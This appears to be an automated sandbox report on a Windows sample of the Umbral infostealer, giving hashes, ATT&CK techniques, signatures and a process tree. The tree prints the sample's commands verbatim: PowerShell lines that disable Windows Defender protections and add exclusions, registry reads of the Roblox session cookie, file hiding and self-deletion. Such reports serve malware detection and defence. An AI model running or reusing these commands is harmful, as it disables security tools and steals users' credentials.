umbral | 2e1ddba1f76d93d7354190865523d53ff0b1f14876da06cc61f1bde9b6b686a4

Analysis

max time kernel
431s
max time network
434s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
01-01-2025 23:08

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General

Target

Loader.exe
Size

230KB
MD5

01ef484bd08794522afb7af0f4a39159
SHA1

7e9edc911734c592881899a5271bfa83e112ab12
SHA256

2e1ddba1f76d93d7354190865523d53ff0b1f14876da06cc61f1bde9b6b686a4
SHA512

e6ab72865d8a7dd29e1d04029a9be5f46a199614a8b67cdae27e2e31cb2a96827b8b39a73c103d2bc67713909b0d32e6b9f02d6dd714bd889b544eff0585627b
SSDEEP

6144:jloZM+rIkd8g+EtXHkv/iD4z1MKYe5xyuXKYZd8O+gbb8e1msi:BoZtL+EP8z1MKYe5xyuXKYZd8Ci

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/4028-1-0x00000282E25C0000-0x00000282E2600000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2148	powershell.exe
332	powershell.exe
1876	powershell.exe
4912	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Loader.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
22	discord.com
23	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
7	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2104	cmd.exe
4864	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3288	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4864	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
4028	Loader.exe
4912	powershell.exe
4912	powershell.exe
1876	powershell.exe
1876	powershell.exe
2148	powershell.exe
2148	powershell.exe
3468	powershell.exe
3468	powershell.exe
332	powershell.exe
332	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4028	Loader.exe
Token: SeIncreaseQuotaPrivilege	2196	wmic.exe
Token: SeSecurityPrivilege	2196	wmic.exe
Token: SeTakeOwnershipPrivilege	2196	wmic.exe
Token: SeLoadDriverPrivilege	2196	wmic.exe
Token: SeSystemProfilePrivilege	2196	wmic.exe
Token: SeSystemtimePrivilege	2196	wmic.exe
Token: SeProfSingleProcessPrivilege	2196	wmic.exe
Token: SeIncBasePriorityPrivilege	2196	wmic.exe
Token: SeCreatePagefilePrivilege	2196	wmic.exe
Token: SeBackupPrivilege	2196	wmic.exe
Token: SeRestorePrivilege	2196	wmic.exe
Token: SeShutdownPrivilege	2196	wmic.exe
Token: SeDebugPrivilege	2196	wmic.exe
Token: SeSystemEnvironmentPrivilege	2196	wmic.exe
Token: SeRemoteShutdownPrivilege	2196	wmic.exe
Token: SeUndockPrivilege	2196	wmic.exe
Token: SeManageVolumePrivilege	2196	wmic.exe
Token: 33	2196	wmic.exe
Token: 34	2196	wmic.exe
Token: 35	2196	wmic.exe
Token: 36	2196	wmic.exe
Token: SeIncreaseQuotaPrivilege	2196	wmic.exe
Token: SeSecurityPrivilege	2196	wmic.exe
Token: SeTakeOwnershipPrivilege	2196	wmic.exe
Token: SeLoadDriverPrivilege	2196	wmic.exe
Token: SeSystemProfilePrivilege	2196	wmic.exe
Token: SeSystemtimePrivilege	2196	wmic.exe
Token: SeProfSingleProcessPrivilege	2196	wmic.exe
Token: SeIncBasePriorityPrivilege	2196	wmic.exe
Token: SeCreatePagefilePrivilege	2196	wmic.exe
Token: SeBackupPrivilege	2196	wmic.exe
Token: SeRestorePrivilege	2196	wmic.exe
Token: SeShutdownPrivilege	2196	wmic.exe
Token: SeDebugPrivilege	2196	wmic.exe
Token: SeSystemEnvironmentPrivilege	2196	wmic.exe
Token: SeRemoteShutdownPrivilege	2196	wmic.exe
Token: SeUndockPrivilege	2196	wmic.exe
Token: SeManageVolumePrivilege	2196	wmic.exe
Token: 33	2196	wmic.exe
Token: 34	2196	wmic.exe
Token: 35	2196	wmic.exe
Token: 36	2196	wmic.exe
Token: SeDebugPrivilege	4912	powershell.exe
Token: SeDebugPrivilege	1876	powershell.exe
Token: SeDebugPrivilege	2148	powershell.exe
Token: SeDebugPrivilege	3468	powershell.exe
Token: SeIncreaseQuotaPrivilege	2932	wmic.exe
Token: SeSecurityPrivilege	2932	wmic.exe
Token: SeTakeOwnershipPrivilege	2932	wmic.exe
Token: SeLoadDriverPrivilege	2932	wmic.exe
Token: SeSystemProfilePrivilege	2932	wmic.exe
Token: SeSystemtimePrivilege	2932	wmic.exe
Token: SeProfSingleProcessPrivilege	2932	wmic.exe
Token: SeIncBasePriorityPrivilege	2932	wmic.exe
Token: SeCreatePagefilePrivilege	2932	wmic.exe
Token: SeBackupPrivilege	2932	wmic.exe
Token: SeRestorePrivilege	2932	wmic.exe
Token: SeShutdownPrivilege	2932	wmic.exe
Token: SeDebugPrivilege	2932	wmic.exe
Token: SeSystemEnvironmentPrivilege	2932	wmic.exe
Token: SeRemoteShutdownPrivilege	2932	wmic.exe
Token: SeUndockPrivilege	2932	wmic.exe
Token: SeManageVolumePrivilege	2932	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 4028 wrote to memory of 2196	4028	Loader.exe	84
PID 4028 wrote to memory of 2196	4028	Loader.exe	84
PID 4028 wrote to memory of 1432	4028	Loader.exe	88
PID 4028 wrote to memory of 1432	4028	Loader.exe	88
PID 4028 wrote to memory of 4912	4028	Loader.exe	90
PID 4028 wrote to memory of 4912	4028	Loader.exe	90
PID 4028 wrote to memory of 1876	4028	Loader.exe	92
PID 4028 wrote to memory of 1876	4028	Loader.exe	92
PID 4028 wrote to memory of 2148	4028	Loader.exe	94
PID 4028 wrote to memory of 2148	4028	Loader.exe	94
PID 4028 wrote to memory of 3468	4028	Loader.exe	96
PID 4028 wrote to memory of 3468	4028	Loader.exe	96
PID 4028 wrote to memory of 2932	4028	Loader.exe	98
PID 4028 wrote to memory of 2932	4028	Loader.exe	98
PID 4028 wrote to memory of 2476	4028	Loader.exe	100
PID 4028 wrote to memory of 2476	4028	Loader.exe	100
PID 4028 wrote to memory of 1624	4028	Loader.exe	102
PID 4028 wrote to memory of 1624	4028	Loader.exe	102
PID 4028 wrote to memory of 332	4028	Loader.exe	104
PID 4028 wrote to memory of 332	4028	Loader.exe	104
PID 4028 wrote to memory of 3288	4028	Loader.exe	106
PID 4028 wrote to memory of 3288	4028	Loader.exe	106
PID 4028 wrote to memory of 2104	4028	Loader.exe	108
PID 4028 wrote to memory of 2104	4028	Loader.exe	108
PID 2104 wrote to memory of 4864	2104	cmd.exe	110
PID 2104 wrote to memory of 4864	2104	cmd.exe	110

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1432	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Loader.exe
"C:\Users\Admin\AppData\Local\Temp\Loader.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4028
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2196
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
  2⤵
  - Views/modifies file attributes
  PID:1432
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Loader.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4912
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1876
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2148
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3468
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2932
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:2476
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1624
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:332
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:3288
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Loader.exe" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2104
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4864

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
17d8127be94d3c1b6fcc9a4ed585003e

SHA1
789874fcc7c778c723f3e89822d8cc8750c6c4c8

SHA256
ea357ad1f95863b3618d31e5b0f90495331f64de2b784d9e185b48668c937a7b

SHA512
bb18b6d07d82227f5cfbe3eb460df79ec892c560ad2964dcd4782aa26336ae15059843bf46a739bdd4a4daa58057f99102531a756a1cf434ce6449b3cd35a98e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
276798eeb29a49dc6e199768bc9c2e71

SHA1
5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

SHA256
cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

SHA512
0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
6317adf4fbc43ea2fd68861fafd57155

SHA1
6b87c718893c83c6eed2767e8d9cbc6443e31913

SHA256
c1ead17eef37b4b461cedc276504a441489e819c7f943037f2001966aeec90af

SHA512
17229aae8622e4bfc3caaac55684f7d4ccd3162af5919c851b1d8ac4060b6bb7b75044ecee116523d05acb55197dcb60780958f629450edef386f1e6f65f49f0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sa4mqodp.wcr.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4028-72-0x00000282FCC90000-0x00000282FCC9A000-memory.dmp

Filesize
40KB

Download
memory/4028-35-0x00000282FCD70000-0x00000282FCD8E000-memory.dmp

Filesize
120KB

Download
memory/4028-93-0x00007FFD8D670000-0x00007FFD8E131000-memory.dmp

Filesize
10.8MB

Download
memory/4028-73-0x00000282FCDB0000-0x00000282FCDC2000-memory.dmp

Filesize
72KB

Download
memory/4028-2-0x00007FFD8D670000-0x00007FFD8E131000-memory.dmp

Filesize
10.8MB

Download
memory/4028-33-0x00000282FCCF0000-0x00000282FCD66000-memory.dmp

Filesize
472KB

Download
memory/4028-34-0x00000282FCCA0000-0x00000282FCCF0000-memory.dmp

Filesize
320KB

Download
memory/4028-0-0x00007FFD8D673000-0x00007FFD8D675000-memory.dmp

Filesize
8KB

Download
memory/4028-1-0x00000282E25C0000-0x00000282E2600000-memory.dmp

Filesize
256KB

Download
memory/4912-15-0x00007FFD8D670000-0x00007FFD8E131000-memory.dmp

Filesize
10.8MB

Download
memory/4912-4-0x00007FFD8D670000-0x00007FFD8E131000-memory.dmp

Filesize
10.8MB

Download
memory/4912-3-0x00007FFD8D670000-0x00007FFD8E131000-memory.dmp

Filesize
10.8MB

Download
memory/4912-14-0x00000244D1A30000-0x00000244D1A52000-memory.dmp

Filesize
136KB

Download
memory/4912-18-0x00007FFD8D670000-0x00007FFD8E131000-memory.dmp

Filesize
10.8MB

Download